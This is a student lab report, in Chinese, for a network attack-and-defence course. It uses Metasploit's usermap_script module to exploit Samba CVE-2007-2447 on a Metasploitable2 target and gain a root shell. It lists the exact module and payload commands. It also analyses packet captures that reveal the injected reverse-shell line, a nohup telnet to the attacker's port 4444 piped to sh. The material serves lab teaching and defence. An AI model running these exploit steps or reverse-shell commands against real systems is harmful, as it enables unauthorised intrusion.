20212924 2021-2022-2 《网络攻防实践》实践第9周(7次)报告
1.实践内容
samba 简介
- Samba 是在 Linux 和 UNIX 系统上实现 SMB 协议的一个免费软件,由服务器及客户端程序构成。
- NFS 与 samba 一样,也是在网络中实现文件共享的一种实现,但不幸的是,其不支持 windows 平台,samba 是能够在任何支持 SMB 协议的主机之间共享文件的一种实现,当然也包括 windows。
- SMB 是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。
- SMB 协议是 C/S 型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源
sername map script
- Username map script是Samba协议的一个漏洞,ID为CVE-2007-2447,属于远程命令注入漏洞,主要影响Samba的3.0.20到3.0.25rc3 版本。
139端口
- 139 NetBIOS File and Print Sharing 通过这个端口进入的连接试图获得NetBIOS/SMB服务。这个协议被用于Windows"文件和打印机共享"和SAMBA。在Internet上共享自己的硬盘可能是最常见的问题。139属于TCP协议。
2.实践过程
2.1使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。
-
实践步骤如下:
-
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
-
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
-
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
-
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
-
⑤执行渗透攻击;
-
⑥查看是否正确得到远程Shell,并查看获得的权限。
-
操作过程:
-
实验准备:
- 攻击机: kali(A)
- 靶机:Metasploitable2(B)
- 攻击目标漏洞:Samba服务usermap_script安全漏洞
- 适配器调整:VMnet8(NAT模式)
- 查看IP截图:
- 查看能否相互ping通截图:
-
操作如下:
-
(1)进入操作台:通过
msfconsole
指令进入操作台。
-
(2)进行相关设置:
- 通过
search usermap_script
查找漏洞信息
- 通过
use exploit/multi/samba/usermap_script
使用相关攻击脚本 show payloads
查看payload类型
- 使用
set payload cmd/unix/reverse
选择攻击PAYLOAD
- 使用
set LHOST 192.168.200.6
和set RHOST 192.168.200.123
进行表示攻击机IP地址和靶机IP地址设置
- 通过
-
(3)攻击:设置完成后,使用
exploit
进行攻击。
-
(4)验证:攻击完成后,根据提示操作得到远程shell,我们使用
ifconfig
查询靶机IP,靶机IP成功获取。通过和靶机ifconfig
查询结果对比,IP相关信息无误。表明攻击成功。 -
(5)查看提权是否成功:通过
id
查看shell
权限。再通过whoami
查询,发现我们已经获得了root
权限,而靶机仍然是非root账号登录,这表明提权成功。
2.2 攻防对抗实践
任务:
-
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
-
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
实践过程:
-
本任务选择攻击的漏洞为任务一所攻击漏洞,因此攻击操作与任务一相同
-
下面主要对Wireshark抓包内容进行分析。
- (1)
Wireshark
进行抓包,我们可以得到攻击者IP为192.168.200.6
,目标IP为192.168.200.123
,目标端口为139。经过查询可知139号端口是Unix中的Samba服务端口,可知攻击利用了Samba服务漏洞。攻击发起时间是从ARP协议的询问开始。
- (2)从第一个
SMB
数据包中分析数据流,找到shellcode
如图所示。其中,nohup
是no hang up
的缩写,就是不挂断的意思,用nohup
运行命令可以使命令永久的执行下去,和用户终端没有关系;telnet 192.168.200.6 4444
表明数据是通过4444
号通信端口管控传入攻击机的;sh
是linux中运行shell
的命令,是shell
的解释器。
- (3)通过进一步的tcp流分析,我们可以看到成功之后在本地执行命令的信息。
- (1)
3.学习中遇到的问题及解决
- 问题1: 认为Metasploitable 靶机上不了网,导致使用
exploit
进行攻击时无法响应。
- 问题1解决方案:实际上Metasploitable 靶机不用上网,也可以进行实验,
exploit
成功后在kali里可以直接输入命令。
4.实践总结
- 本次实验与上周实验相比,由window系统转向linux系统,操作过程基本相同,区别较大的时漏洞荷载,由于系统的不同攻击的漏洞荷载完全不同,攻击手段也不一样。
- 通过两次使用
Metasploit
软件,巩固强化了对该软件的操作过程理解,也更加深刻的理解了一些常见的命令。 - 当然对
wireshark
进行抓包越来越熟练,但对数据包的分析与理解仍然需要继续深入理解。